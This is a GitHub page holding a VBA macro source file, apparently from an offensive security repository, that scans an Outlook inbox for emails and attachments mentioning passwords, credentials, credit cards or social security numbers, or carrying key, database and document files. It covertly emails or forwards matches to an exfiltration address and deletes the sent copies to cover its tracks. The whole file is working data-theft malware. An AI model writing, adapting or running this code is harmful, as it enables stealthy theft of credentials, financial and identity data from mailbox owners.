-
-
Notifications
You must be signed in to change notification settings - Fork 223
/
Parse-Outlook.vba
216 lines (180 loc) · 5.65 KB
/
Parse-Outlook.vba
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
' Source: https://github.com/JohnWoodman/VBA-Macro-Projects
'This VBA parses Outlook, searches for sensitive keywords
'and file extensions, exfils the data via email, and then
'deletes the sent emails.
'Author: John Woodman
'Twitter: @JohnWoodman15
'Variable exfil_address is the email address that
'the parsed emails are sent to.
Const exfil_address As String = "[email protected]"
'The variable daysToSearch determines how many days
'worth of emails to look through. It's currently set
'to parse the last 30 days of emails.
Const daysToSearch As Integer = 30
Sub parse_outlook()
'This function loops through Outlook inbox and calls
'functions to parse inbox for keywords and extensions.
'These are the keywords and file extensions that
'are searched for in the emails and attachments.
Dim keywords
keywords = Array( _
"password", _
"passwd", _
"creds", _
"credential", _
"credit card", _
"creditcard", _
"social security number" _
)
Dim extensions
extensions = Array( _
"pgp", _
"asc", _
"pem", _
"pub", _
"gpg", _
"gpg-key", _
"mp3", _
"mp4", _
"mov", _
"xlsx", _
"xlsm", _
"xlsb", _
"csv", _
"doc", _
"docx", _
"docm", _
"exe", _
"zip", _
"sql", _
"db", _
"bak", _
"pdf" _
)
Dim xOutApp As Object
Dim xOutMail As Object
Dim xMailBody As String
Dim outlNameSpace As Object
Dim myTasks As Object
Set xOutApp = CreateObject("Outlook.Application")
Set outlNameSpace = xOutApp.GetNamespace("MAPI")
Set myTasks = outlNameSpace.GetDefaultFolder(6).Items
Dim i As Integer
Dim found As Boolean
found = False
Dim found2 As Boolean
found2 = False
Dim afterDate As Date
Dim beforeDate As Date
afterDate = Date - daysToSearch
beforeDate = Date
Dim OlMail As Object
For Each OlMail In myTasks
If OlMail.ReceivedTime >= afterDate And OlMail.ReceivedTime <= beforeDate Then
found = parse_body(OlMail.body, OlMail.subject, keywords)
If found Then
Call send_mail(OlMail.body, OlMail.subject)
End If
If OlMail.Attachments.Count > 0 Then
Dim j As Integer
For j = 1 To OlMail.Attachments.Count
found2 = parse_attachment(OlMail.Attachments.Item(j), extensions, keywords)
If found2 Then
Call send_attach(OlMail, OlMail.subject)
End If
Next
End If
End If
Next
Set xOutMail = Nothing
Set xOutApp = Nothing
End Sub
Sub send_mail(body As String, subject As String)
'This function sends the body of the email containing
'the keyword to the specified email address.
Dim xOutApp As Object
Dim xOutMail As Object
Dim xMailBody As String
Set xOutApp = CreateObject("Outlook.Application")
Set xOutMail = xOutApp.CreateItem(0)
xMailBody = body
On Error Resume Next
With xOutMail
.To = exfil_address
.CC = ""
.BCC = ""
.subject = "Outlook Exfiltration Data from User: " & Environ("username")
.body = subject & xMailBody
.DeleteAfterSubmit = True
.Send
End With
On Error GoTo 0
Set xOutMail = Nothing
Set xOutApp = Nothing
End Sub
Sub send_attach(OlMail As Variant, subject As String)
'This function forwards the email containing
'the attachment to the specified email address.
Dim xOutMail As Object
Set xOutMail = OlMail.Forward
On Error Resume Next
With xOutMail
.To = exfil_address
.CC = ""
.BCC = ""
.subject = "Outlook Exfiltration Attachment from User: " & Environ("username")
.DeleteAfterSubmit = True
.Send
End With
On Error GoTo 0
Set xOutMail = Nothing
End Sub
Public Function parse_body(body As String, subject As String, keywords As Variant) As Boolean
'This function parses the body and subject
'of the email, searching for the provided keywords.
parse_body = False
Dim k As Variant
For Each k In keywords
If (InStr(1, UCase(body), k, vbTextCompare) > 0) Or (InStr(1, UCase(subject), k, vbTextCompare) > 0) Then
parse_body = True
Exit For
Else
parse_body = False
End If
Next
End Function
Public Function parse_attachment(attachment As Variant, extensions As Variant, keywords As Variant) As Boolean
'This function parses the attachments of the
'email and searches for the provided keywords
'and extensions.
parse_attachment = False
Dim found_ext As Boolean
found_ext = False
Dim found_keyword As Boolean
found_keyword = False
Dim attachName As String
Dim extension As String
attachName = attachment.FileName
extension = Split(attachName, ".")(1)
Dim ext As Variant
For Each ext In extensions
If (InStr(1, UCase(extension), ext, vbTextCompare) > 0) Then
found_ext = True
Else
found_ext = False
End If
Next
Dim k As Variant
For Each k In keywords
If (InStr(1, UCase(attachName), k, vbTextCompare) > 0) Then
found_keyword = True
Else
found_keyword = False
End If
Next
If found_ext Or found_keyword Then
parse_attachment = True
Else
parse_attachment = False
End If
End Function